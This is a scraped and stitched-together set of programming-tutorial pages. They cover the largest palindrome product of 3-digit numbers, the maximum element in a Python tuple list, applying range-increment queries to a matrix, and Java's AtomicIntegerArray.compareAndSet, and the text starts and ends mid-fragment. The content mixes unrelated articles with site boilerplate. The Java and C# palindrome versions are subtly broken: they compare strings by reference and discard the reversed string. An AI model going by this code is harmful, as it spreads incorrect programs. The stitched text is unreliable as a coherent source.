"e": 28585, "s": 28581, "text": "C++" }, { "code": null, "e": 28590, "s": 28585, "text": "Java" }, { "code": null, "e": 28598, "s": 28590, "text": "Python3" }, { "code": null, "e": 28601, "s": 28598, "text": "C#" }, { "code": null, "e": 28612, "s": 28601, "text": "Javascript" }, { "code": "// C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersvoid palindrome_prod(string N){ // Stores all palindromes vector<int> palindrome_list; for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; string x = to_string(n); string y = x; reverse(y.begin(), y.end()); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < stoi(N)){ // If true, append it // in the list palindrome_list.push_back(i * j); } } } } // Print the largest palindrome cout << (*max_element(palindrome_list.begin(), palindrome_list.end()));} // Driver Codeint main(){ string N = \"101110\"; // Function Call palindrome_prod(N); return 0;} // This code is contributed by mohit kumar 29", "e": 29823, "s": 28612, "text": null }, { "code": "// Java program for the above approachimport java.util.*; class GFG{ // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersstatic void palindrome_prod(String N){ // Stores all palindromes Vector<Integer> palindrome_list = new Vector<Integer>(); for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; String x = String.valueOf(n); String y = x; reverse(y); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < Integer.valueOf(N)){ // If true, append it // in the list palindrome_list.add(i * j); } } } } // Print the largest palindrome System.out.print(Collections.max(palindrome_list));} static String reverse(String input){ char[] a = input.toCharArray(); int l, r = a.length - 1; for (l = 0; l < r; l++, r--) { char temp = a[l]; a[l] = a[r]; a[r] = temp; } return String.valueOf(a);} // Driver Codepublic static void main(String[] args){ String N = \"101110\"; // Function Call palindrome_prod(N);}} // This code is contributed by 29AjayKumar", "e": 31256, "s": 29823, "text": null }, { "code": "# Python program for the above approach # Function to find the largest palindrome# not exceeding N which can be expressed# as the product of two 3-digit numbersdef palindrome_prod(N): # Stores all palindromes palindrome_list = [] for i in range(101, 1000): for j in range(121, 1000, (1 if i % 11 == 0 else 11)): # Stores the product n = i * j x = str(n) # Check if X is palindrome if x == x[::-1]: # Check n is less than N if n < N: # If true, append it # in the list palindrome_list.append(i * j) # Print the largest palindrome print(max(palindrome_list)) # Driver Code N = 101110 # Function Callpalindrome_prod(N)", "e": 32109, "s": 31256, "text": null }, { "code": "// C# program for the above approachusing System;using System.Collections.Generic;using System.Linq;class GFG{ // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersstatic void palindrome_prod(String N){ // Stores all palindromes List<int> palindrome_list = new List<int>(); for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; String x = String.Join(\"\", n); String y = x; reverse(y); // Check if X is palindrome if (x == y) { // Check n is less than N if (n < Int32.Parse(N)) { // If true, append it // in the list palindrome_list.Add(i * j); } } } } // Print the largest palindrome Console.Write(palindrome_list.Max());} static String reverse(String input){ char[] a = input.ToCharArray(); int l, r = a.Length - 1; for (l = 0; l < r; l++, r--) { char temp = a[l]; a[l] = a[r]; a[r] = temp; } return String.Join(\"\", a);} // Driver Codepublic static void Main(String[] args){ String N = \"101110\"; // Function Call palindrome_prod(N);}} // This code is contributed by 29AjayKumar", "e": 33561, "s": 32109, "text": null }, { "code": "<script> // Javascript program for the above approach // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersfunction palindrome_prod(N){ // Stores all palindromes var palindrome_list = []; var i,j; for (i = 101; i < 1000; i++) { for (j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product var n = i * j; var x = n.toString(); var y = x; y = y.split(\"\").reverse().join(\"\"); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < Number(N)){ // If true, append it // in the list palindrome_list.push(i * j); } } } } // Print the largest palindrome document.write(Math.max.apply(null, palindrome_list));} // Driver Code var N = \"101110\"; // Function Call palindrome_prod(N); </script>", "e": 34612, "s": 33561, "text": null }, { "code": null, "e": 34619, "s": 34612, "text": "101101" }, { "code": null, "e": 34669, "s": 34621, "text": "Time Complexity: O(N*9002)Auxiliary Space: O(1)" }, { "code": null, "e": 34684, "s": 34669, "text": "mohit kumar 29" }, { "code": null, "e": 34696, "s": 34684, "text": "29AjayKumar" }, { "code": null, "e": 34713, "s": 34696, "text": "SURENDRA_GANGWAR" }, { "code": null, "e": 34724, "s": 34713, "text": "palindrome" }, { "code": null, "e": 34737, "s": 34724, "text": "Mathematical" }, { "code": null, "e": 34745, "s": 34737, "text": "Strings" }, { "code": null, "e": 34753, "s": 34745, "text": "Strings" }, { "code": null, "e": 34766, "s": 34753, "text": "Mathematical" }, { "code": null, "e": 34777, "s": 34766, "text": "palindrome" }, { "code": null, "e": 34875, "s": 34777, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34899, "s": 34875, "text": "Merge two sorted arrays" }, { "code": null, "e": 34942, "s": 34899, "text": "Modulo Operator (%) in C/C++ with Examples" }, { "code": null, "e": 34956, "s": 34942, "text": "Prime Numbers" }, { "code": null, "e": 34978, "s": 34956, "text": "Sieve of Eratosthenes" }, { "code": null, "e": 35051, "s": 34978, "text": "Print all possible combinations of r elements in a given array of size n" }, { "code": null, "e": 35097, "s": 35051, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 35122, "s": 35097, "text": "Reverse a string in Java" }, { "code": null, "e": 35156, "s": 35122, "text": "Longest Common Subsequence | DP-4" }, { "code": null, "e": 35231, "s": 35156, "text": "Check for Balanced Brackets in an expression (well-formedness) using Stack" } ]
Python | Maximum element in tuple list - GeeksforGeeks
21 Nov, 2019 Sometimes, while working with data in form of records, we can have a problem in which we need to find the maximum element of all the records received. This is a very common application that can occur in Data Science domain. Let’s discuss certain ways in which this task can be performed. Method #1 : Using max() + generator expressionThis is the most basic method to achieve solution to this task. In this, we iterate over whole nested lists using generator expression and get the maximum element using max(). # Python3 code to demonstrate working of# Maximum element in tuple list# using max() + generator expression # initialize list test_list = [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] # printing original list print("The original list : " + str(test_list)) # Maximum element in tuple list# using max() + generator expressionres = max(int(j) for i in test_list for j in i) # printing resultprint("The Maximum element of list is : " + str(res)) The original list : [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] The Maximum element of list is : 10 Method #2 : Using max() + map() + chain.from_iterable()The combination of above methods can also be used to perform this task. In this, the extension of finding maximum is done by combination of map() and from_iterable(). # Python3 code to demonstrate working of# Maximum element in tuple list# using max() + map() + chain.from_iterable()from itertools import chain # initialize list test_list = [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] # printing original list print("The original list : " + str(test_list)) # Maximum element in tuple list# using max() + map() + chain.from_iterable()res = max(map(int, chain.from_iterable(test_list))) # printing resultprint("The Maximum element of list is : " + str(res)) The original list : [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] The Maximum element of list is : 10 Python tuple-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary How to Install PIP on Windows ? Different ways to create Pandas Dataframe Python String | replace() *args and **kwargs in Python Python program to convert a list to string Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary
[ { "code": null, "e": 25837, "s": 25809, "text": "\n21 Nov, 2019" }, { "code": null, "e": 26125, "s": 25837, "text": "Sometimes, while working with data in form of records, we can have a problem in which we need to find the maximum element of all the records received. This is a very common application that can occur in Data Science domain. Let’s discuss certain ways in which this task can be performed." }, { "code": null, "e": 26347, "s": 26125, "text": "Method #1 : Using max() + generator expressionThis is the most basic method to achieve solution to this task. In this, we iterate over whole nested lists using generator expression and get the maximum element using max()." }, { "code": "# Python3 code to demonstrate working of# Maximum element in tuple list# using max() + generator expression # initialize list test_list = [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] # printing original list print(\"The original list : \" + str(test_list)) # Maximum element in tuple list# using max() + generator expressionres = max(int(j) for i in test_list for j in i) # printing resultprint(\"The Maximum element of list is : \" + str(res))", "e": 26789, "s": 26347, "text": null }, { "code": null, "e": 26888, "s": 26789, "text": "The original list : [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)]\nThe Maximum element of list is : 10\n" }, { "code": null, "e": 27112, "s": 26890, "text": "Method #2 : Using max() + map() + chain.from_iterable()The combination of above methods can also be used to perform this task. In this, the extension of finding maximum is done by combination of map() and from_iterable()." }, { "code": "# Python3 code to demonstrate working of# Maximum element in tuple list# using max() + map() + chain.from_iterable()from itertools import chain # initialize list test_list = [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)] # printing original list print(\"The original list : \" + str(test_list)) # Maximum element in tuple list# using max() + map() + chain.from_iterable()res = max(map(int, chain.from_iterable(test_list))) # printing resultprint(\"The Maximum element of list is : \" + str(res))", "e": 27603, "s": 27112, "text": null }, { "code": null, "e": 27702, "s": 27603, "text": "The original list : [(2, 4), (6, 7), (5, 1), (6, 10), (8, 7)]\nThe Maximum element of list is : 10\n" }, { "code": null, "e": 27724, "s": 27702, "text": "Python tuple-programs" }, { "code": null, "e": 27731, "s": 27724, "text": "Python" }, { "code": null, "e": 27747, "s": 27731, "text": "Python Programs" }, { "code": null, "e": 27845, "s": 27747, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27863, "s": 27845, "text": "Python Dictionary" }, { "code": null, "e": 27895, "s": 27863, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27937, "s": 27895, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 27963, "s": 27937, "text": "Python String | replace()" }, { "code": null, "e": 27992, "s": 27963, "text": "*args and **kwargs in Python" }, { "code": null, "e": 28035, "s": 27992, "text": "Python program to convert a list to string" }, { "code": null, "e": 28057, "s": 28035, "text": "Defaultdict in Python" }, { "code": null, "e": 28096, "s": 28057, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 28142, "s": 28096, "text": "Python | Split string into list of characters" } ]
Print matrix after applying increment operations in M ranges - GeeksforGeeks
31 May, 2021 Given a 2-D matrix mat[][] of size N * N, initially all the elements of the matrix are 0. A number of queries(M ranges) need to be performed on the matrix where each query consists of four integers X1, Y1, X2 and Y2, the task is to add 1 to all the cells between mat[X1][Y1] and mat[X2][Y2] (including both) and print the contents of the updated matrix in the end.Examples: Input: N = 2, q[][] = { { 0, 0, 1, 1 }, { 0, 0, 0, 1 } } Output: 2 2 1 1 After 1st query: mat[][] = { {1, 1}, {1, 1} } After 2nd query: mat[][] = { {2, 2}, {1, 1} }Input: N = 5, q[][] = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } } Output: 1 1 1 1 1 1 1 2 1 2 2 2 2 2 2 2 2 2 2 2 0 0 0 0 0 Approach: For each query (X1, Y1) represents the top left cell of the sub-matrix and (X2, Y2) represents the bottom right cell of the sub-matrix. For each top left cell add 1 to the top left element and subtract 1 from the element next to bottom right cell (if any). Then maintain a running sum of all the elements from the original (now modified) matrix and at every addition, the current sum is the element (updated) at the current position.Below is the implementation of the above approach: C++ Java Python3 C# PHP Javascript // C++ implementation of the approach#include<bits/stdc++.h>using namespace std; // Function to update and print the// matrix after performing queriesvoid updateMatrix(int n, int q[3][4]){ int i, j; int mat[n][n]; for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) mat[i][j] = 0; for (i = 0; i < 3; i++) { int X1 = q[i][0]; int Y1 = q[i][1]; int X2 = q[i][2]; int Y2 = q[i][3]; // Add 1 to the first element of // the sub-matrix mat[X1][Y1]++; // If there is an element after the // last element of the sub-matrix // then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element cout << sum << " "; } // Next line cout << endl; }} // Driver codeint main(){ // Size of the matrix int n = 5; // Queries int q[3][4] = {{ 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 }}; updateMatrix(n, q); return 0;} // This code is contributed by chandan_jnu // Java implementation of the approachpublic class GFG { // Function to update and print the matrix // after performing queries static void updateMatrix(int n, int q[][], int mat[][]) { int i, j; for (i = 0; i < q.length; i++) { int X1 = q[i][0]; int Y1 = q[i][1]; int X2 = q[i][2]; int Y2 = q[i][3]; // Add 1 to the first element of the sub-matrix mat[X1][Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element System.out.print(sum + " "); } // Next line System.out.println(); } } // Driver code public static void main(String[] args) { // Size of the matrix int n = 5; int mat[][] = new int[n][n]; // Queries int q[][] = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } }; updateMatrix(n, q, mat); }} # Python 3 implementation of the approach # Function to update and print the matrix# after performing queriesdef updateMatrix(n, q, mat): for i in range(0, len(q)): X1 = q[i][0]; Y1 = q[i][1]; X2 = q[i][2]; Y2 = q[i][3]; # Add 1 to the first element of # the sub-matrix mat[X1][Y1] = mat[X1][Y1] + 1; # If there is an element after the # last element of the sub-matrix # then decrement it by 1 if (Y2 + 1 < n): mat[X2][Y2 + 1] = mat[X2][Y2 + 1] - 1; elif (X2 + 1 < n): mat[X2 + 1][0] = mat[X2 + 1][0] - 1; # Calculate the running sum sum = 0; for i in range(0, n): for j in range(0, n): sum =sum + mat[i][j]; # Print the updated element print(sum, end = ' '); # Next line print(" "); # Driver code # Size of the matrixn = 5;mat = [[0 for i in range(n)] for i in range(n)]; # Queriesq = [[ 0, 0, 1, 2 ], [ 1, 2, 3, 4 ], [ 1, 4, 3, 4 ]]; updateMatrix(n, q, mat); # This code is contributed# by Shivi_Aggarwal // C# implementation of the above approach using System; public class GFG { // Function to update and print the matrix // after performing queries static void updateMatrix(int n, int [,]q, int [,]mat) { int i, j; for (i = 0; i < q.GetLength(0); i++) { int X1 = q[i,0]; int Y1 = q[i,1]; int X2 = q[i,2]; int Y2 = q[i,3]; // Add 1 to the first element of the sub-matrix mat[X1,Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2,Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1,0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i,j]; // Print the updated element Console.Write(sum + " "); } // Next line Console.WriteLine(); } } // Driver code public static void Main() { // Size of the matrix int n = 5; int [,]mat = new int[n,n]; // Queries int [,]q = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } }; updateMatrix(n, q, mat); } // This code is contributed by Ryuga} <?php// PHP implementation of the approach // Function to update and print the// matrix after performing queriesfunction updateMatrix($n, $q, $mat){ for ($i = 0; $i < sizeof($q); $i++) { $X1 = $q[$i][0]; $Y1 = $q[$i][1]; $X2 = $q[$i][2]; $Y2 = $q[$i][3]; // Add 1 to the first element of // the sub-matrix $mat[$X1][$Y1]++; // If there is an element after the last // element of the sub-matrix then decrement // it by 1 if ($Y2 + 1 < $n) $mat[$X2][$Y2 + 1]--; else if ($X2 + 1 < $n) $mat[$X2 + 1][0]--; } // Calculate the running sum $sum = 0; for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $n; $j++) { $sum += $mat[$i][$j]; // Print the updated element echo($sum . " "); } // Next line echo("\n"); }} // Driver code // Size of the matrix$n = 5;$mat = array_fill(0, $n, array_fill(0, $n, 0)); // Queries$q = array(array( 0, 0, 1, 2 ), array( 1, 2, 3, 4 ), array( 1, 4, 3, 4 )); updateMatrix($n, $q, $mat); // This code is contributed by chandan_jnu?> <script> // Javascript implementation of the approach // Function to update and print the matrix // after performing queries function updateMatrix(n, q, mat) { let i, j; for (i = 0; i < q.length; i++) { let X1 = q[i][0]; let Y1 = q[i][1]; let X2 = q[i][2]; let Y2 = q[i][3]; // Add 1 to the first element of the sub-matrix mat[X1][Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum let sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element document.write(sum + " "); } // Next line document.write("</br>"); } } // Size of the matrix let n = 5; let mat = new Array(n); for(let i = 0; i < n; i++) { mat[i] = new Array(n); for(let j = 0; j < n; j++) { mat[i][j] = 0; } } // Queries let q = [ [ 0, 0, 1, 2 ], [ 1, 2, 3, 4 ], [ 1, 4, 3, 4 ] ]; updateMatrix(n, q, mat); // This code is contributed by divyeshrabadiya07.</script> 1 1 1 1 1 1 1 2 1 2 2 2 2 2 2 2 2 2 2 2 0 0 0 0 0 ankthon Shivi_Aggarwal Chandan_Kumar divyeshrabadiya07 array-range-queries Technical Scripter 2018 Algorithms Mathematical Matrix Technical Scripter Mathematical Matrix Algorithms Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. DSA Sheet by Love Babbar How to Start Learning DSA? Difference between Algorithm, Pseudocode and Program K means Clustering - Introduction Types of Complexity Classes | P, NP, CoNP, NP hard and NP complete Program for Fibonacci numbers Write a program to print all permutations of a given string C++ Data Types Set in C++ Standard Template Library (STL) Coin Change | DP-7
[ { "code": null, "e": 25943, "s": 25915, "text": "\n31 May, 2021" }, { "code": null, "e": 26319, "s": 25943, "text": "Given a 2-D matrix mat[][] of size N * N, initially all the elements of the matrix are 0. A number of queries(M ranges) need to be performed on the matrix where each query consists of four integers X1, Y1, X2 and Y2, the task is to add 1 to all the cells between mat[X1][Y1] and mat[X2][Y2] (including both) and print the contents of the updated matrix in the end.Examples: " }, { "code": null, "e": 26616, "s": 26319, "text": "Input: N = 2, q[][] = { { 0, 0, 1, 1 }, { 0, 0, 0, 1 } } Output: 2 2 1 1 After 1st query: mat[][] = { {1, 1}, {1, 1} } After 2nd query: mat[][] = { {2, 2}, {1, 1} }Input: N = 5, q[][] = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } } Output: 1 1 1 1 1 1 1 2 1 2 2 2 2 2 2 2 2 2 2 2 0 0 0 0 0 " }, { "code": null, "e": 27113, "s": 26618, "text": "Approach: For each query (X1, Y1) represents the top left cell of the sub-matrix and (X2, Y2) represents the bottom right cell of the sub-matrix. For each top left cell add 1 to the top left element and subtract 1 from the element next to bottom right cell (if any). Then maintain a running sum of all the elements from the original (now modified) matrix and at every addition, the current sum is the element (updated) at the current position.Below is the implementation of the above approach: " }, { "code": null, "e": 27117, "s": 27113, "text": "C++" }, { "code": null, "e": 27122, "s": 27117, "text": "Java" }, { "code": null, "e": 27130, "s": 27122, "text": "Python3" }, { "code": null, "e": 27133, "s": 27130, "text": "C#" }, { "code": null, "e": 27137, "s": 27133, "text": "PHP" }, { "code": null, "e": 27148, "s": 27137, "text": "Javascript" }, { "code": "// C++ implementation of the approach#include<bits/stdc++.h>using namespace std; // Function to update and print the// matrix after performing queriesvoid updateMatrix(int n, int q[3][4]){ int i, j; int mat[n][n]; for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) mat[i][j] = 0; for (i = 0; i < 3; i++) { int X1 = q[i][0]; int Y1 = q[i][1]; int X2 = q[i][2]; int Y2 = q[i][3]; // Add 1 to the first element of // the sub-matrix mat[X1][Y1]++; // If there is an element after the // last element of the sub-matrix // then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element cout << sum << \" \"; } // Next line cout << endl; }} // Driver codeint main(){ // Size of the matrix int n = 5; // Queries int q[3][4] = {{ 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 }}; updateMatrix(n, q); return 0;} // This code is contributed by chandan_jnu", "e": 28448, "s": 27148, "text": null }, { "code": "// Java implementation of the approachpublic class GFG { // Function to update and print the matrix // after performing queries static void updateMatrix(int n, int q[][], int mat[][]) { int i, j; for (i = 0; i < q.length; i++) { int X1 = q[i][0]; int Y1 = q[i][1]; int X2 = q[i][2]; int Y2 = q[i][3]; // Add 1 to the first element of the sub-matrix mat[X1][Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element System.out.print(sum + \" \"); } // Next line System.out.println(); } } // Driver code public static void main(String[] args) { // Size of the matrix int n = 5; int mat[][] = new int[n][n]; // Queries int q[][] = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } }; updateMatrix(n, q, mat); }}", "e": 29812, "s": 28448, "text": null }, { "code": "# Python 3 implementation of the approach # Function to update and print the matrix# after performing queriesdef updateMatrix(n, q, mat): for i in range(0, len(q)): X1 = q[i][0]; Y1 = q[i][1]; X2 = q[i][2]; Y2 = q[i][3]; # Add 1 to the first element of # the sub-matrix mat[X1][Y1] = mat[X1][Y1] + 1; # If there is an element after the # last element of the sub-matrix # then decrement it by 1 if (Y2 + 1 < n): mat[X2][Y2 + 1] = mat[X2][Y2 + 1] - 1; elif (X2 + 1 < n): mat[X2 + 1][0] = mat[X2 + 1][0] - 1; # Calculate the running sum sum = 0; for i in range(0, n): for j in range(0, n): sum =sum + mat[i][j]; # Print the updated element print(sum, end = ' '); # Next line print(\" \"); # Driver code # Size of the matrixn = 5;mat = [[0 for i in range(n)] for i in range(n)]; # Queriesq = [[ 0, 0, 1, 2 ], [ 1, 2, 3, 4 ], [ 1, 4, 3, 4 ]]; updateMatrix(n, q, mat); # This code is contributed# by Shivi_Aggarwal", "e": 31002, "s": 29812, "text": null }, { "code": "// C# implementation of the above approach using System; public class GFG { // Function to update and print the matrix // after performing queries static void updateMatrix(int n, int [,]q, int [,]mat) { int i, j; for (i = 0; i < q.GetLength(0); i++) { int X1 = q[i,0]; int Y1 = q[i,1]; int X2 = q[i,2]; int Y2 = q[i,3]; // Add 1 to the first element of the sub-matrix mat[X1,Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2,Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1,0]--; } // Calculate the running sum int sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i,j]; // Print the updated element Console.Write(sum + \" \"); } // Next line Console.WriteLine(); } } // Driver code public static void Main() { // Size of the matrix int n = 5; int [,]mat = new int[n,n]; // Queries int [,]q = { { 0, 0, 1, 2 }, { 1, 2, 3, 4 }, { 1, 4, 3, 4 } }; updateMatrix(n, q, mat); } // This code is contributed by Ryuga}", "e": 32397, "s": 31002, "text": null }, { "code": "<?php// PHP implementation of the approach // Function to update and print the// matrix after performing queriesfunction updateMatrix($n, $q, $mat){ for ($i = 0; $i < sizeof($q); $i++) { $X1 = $q[$i][0]; $Y1 = $q[$i][1]; $X2 = $q[$i][2]; $Y2 = $q[$i][3]; // Add 1 to the first element of // the sub-matrix $mat[$X1][$Y1]++; // If there is an element after the last // element of the sub-matrix then decrement // it by 1 if ($Y2 + 1 < $n) $mat[$X2][$Y2 + 1]--; else if ($X2 + 1 < $n) $mat[$X2 + 1][0]--; } // Calculate the running sum $sum = 0; for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $n; $j++) { $sum += $mat[$i][$j]; // Print the updated element echo($sum . \" \"); } // Next line echo(\"\\n\"); }} // Driver code // Size of the matrix$n = 5;$mat = array_fill(0, $n, array_fill(0, $n, 0)); // Queries$q = array(array( 0, 0, 1, 2 ), array( 1, 2, 3, 4 ), array( 1, 4, 3, 4 )); updateMatrix($n, $q, $mat); // This code is contributed by chandan_jnu?>", "e": 33578, "s": 32397, "text": null }, { "code": "<script> // Javascript implementation of the approach // Function to update and print the matrix // after performing queries function updateMatrix(n, q, mat) { let i, j; for (i = 0; i < q.length; i++) { let X1 = q[i][0]; let Y1 = q[i][1]; let X2 = q[i][2]; let Y2 = q[i][3]; // Add 1 to the first element of the sub-matrix mat[X1][Y1]++; // If there is an element after the last element // of the sub-matrix then decrement it by 1 if (Y2 + 1 < n) mat[X2][Y2 + 1]--; else if (X2 + 1 < n) mat[X2 + 1][0]--; } // Calculate the running sum let sum = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { sum += mat[i][j]; // Print the updated element document.write(sum + \" \"); } // Next line document.write(\"</br>\"); } } // Size of the matrix let n = 5; let mat = new Array(n); for(let i = 0; i < n; i++) { mat[i] = new Array(n); for(let j = 0; j < n; j++) { mat[i][j] = 0; } } // Queries let q = [ [ 0, 0, 1, 2 ], [ 1, 2, 3, 4 ], [ 1, 4, 3, 4 ] ]; updateMatrix(n, q, mat); // This code is contributed by divyeshrabadiya07.</script>", "e": 35032, "s": 33578, "text": null }, { "code": null, "e": 35086, "s": 35032, "text": "1 1 1 1 1 \n1 1 2 1 2 \n2 2 2 2 2 \n2 2 2 2 2 \n0 0 0 0 0" }, { "code": null, "e": 35096, "s": 35088, "text": "ankthon" }, { "code": null, "e": 35111, "s": 35096, "text": "Shivi_Aggarwal" }, { "code": null, "e": 35125, "s": 35111, "text": "Chandan_Kumar" }, { "code": null, "e": 35143, "s": 35125, "text": "divyeshrabadiya07" }, { "code": null, "e": 35163, "s": 35143, "text": "array-range-queries" }, { "code": null, "e": 35187, "s": 35163, "text": "Technical Scripter 2018" }, { "code": null, "e": 35198, "s": 35187, "text": "Algorithms" }, { "code": null, "e": 35211, "s": 35198, "text": "Mathematical" }, { "code": null, "e": 35218, "s": 35211, "text": "Matrix" }, { "code": null, "e": 35237, "s": 35218, "text": "Technical Scripter" }, { "code": null, "e": 35250, "s": 35237, "text": "Mathematical" }, { "code": null, "e": 35257, "s": 35250, "text": "Matrix" }, { "code": null, "e": 35268, "s": 35257, "text": "Algorithms" }, { "code": null, "e": 35366, "s": 35268, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 35391, "s": 35366, "text": "DSA Sheet by Love Babbar" }, { "code": null, "e": 35418, "s": 35391, "text": "How to Start Learning DSA?" }, { "code": null, "e": 35471, "s": 35418, "text": "Difference between Algorithm, Pseudocode and Program" }, { "code": null, "e": 35505, "s": 35471, "text": "K means Clustering - Introduction" }, { "code": null, "e": 35572, "s": 35505, "text": "Types of Complexity Classes | P, NP, CoNP, NP hard and NP complete" }, { "code": null, "e": 35602, "s": 35572, "text": "Program for Fibonacci numbers" }, { "code": null, "e": 35662, "s": 35602, "text": "Write a program to print all permutations of a given string" }, { "code": null, "e": 35677, "s": 35662, "text": "C++ Data Types" }, { "code": null, "e": 35720, "s": 35677, "text": "Set in C++ Standard Template Library (STL)" } ]
AtomicIntegerArray compareAndSet() method in Java with Examples - GeeksforGeeks
27 Feb, 2019 The Java.util.concurrent.atomic.AtomicIntegerArray.compareAndSet() is an inbuilt method in java that atomically sets the element at a position to the given updated value if the current value is equal to the expected value. This method takes the index value, the expected value and the update value as the parameters and returns a boolean value stating if the value has been updated. Syntax: public final boolean compareAndSet(int i, int expect, int update) Parameters: The function accepts three parameters: i: The index where operation is to be made. expect: The expected value to check if it is equal to current value. update: The value to be updated. Return value: The function returns a boolean value stating if the value has been updated. It returns true if successful, else it returns false indicating that the current value was not equal to the expected value. Below programs illustrate the above method:Program 1: // Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array int a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx int expect = 4; // Value to update if current value // is equal to expected value int update = 40; // Updating the value at idx // applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }} The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 40, 5] Program 2: // Java program that demonstrates// the compareAndSet() function import java.util.concurrent.atomic.AtomicIntegerArray; public class GFG { public static void main(String args[]) { // Initializing an array int a[] = { 1, 2, 3, 4, 5 }; // Initializing an AtomicIntegerArray with array a AtomicIntegerArray arr = new AtomicIntegerArray(a); // Displaying the AtomicIntegerArray System.out.println("The array : " + arr); // Index where operation is performed int idx = 3; // Value to expect at idx int expect = 40; // Value to update if current value // is equal to expected value int update = 4; // Updating the value at // idx applying compareAndSet arr.compareAndSet(idx, expect, update); // Displaying the AtomicIntegerArray System.out.println("The array after update : " + arr); }} The array : [1, 2, 3, 4, 5] The array after update : [1, 2, 3, 4, 5] Reference: The Java.util.concurrent.atomic.AtomicIntegerArray.compareAndSet() is an inbuilt method in java that atomically sets the element at a position to the given updated value if the current value is equal to the expected value. This method takes the index value, the expected value and the update value as the parameters and returns a boolean value stating if the value has been updated. Syntax: public final boolean compareAndSet(int i, Integer expect, Integer update) Parameters: The function accepts three parameters: i: The 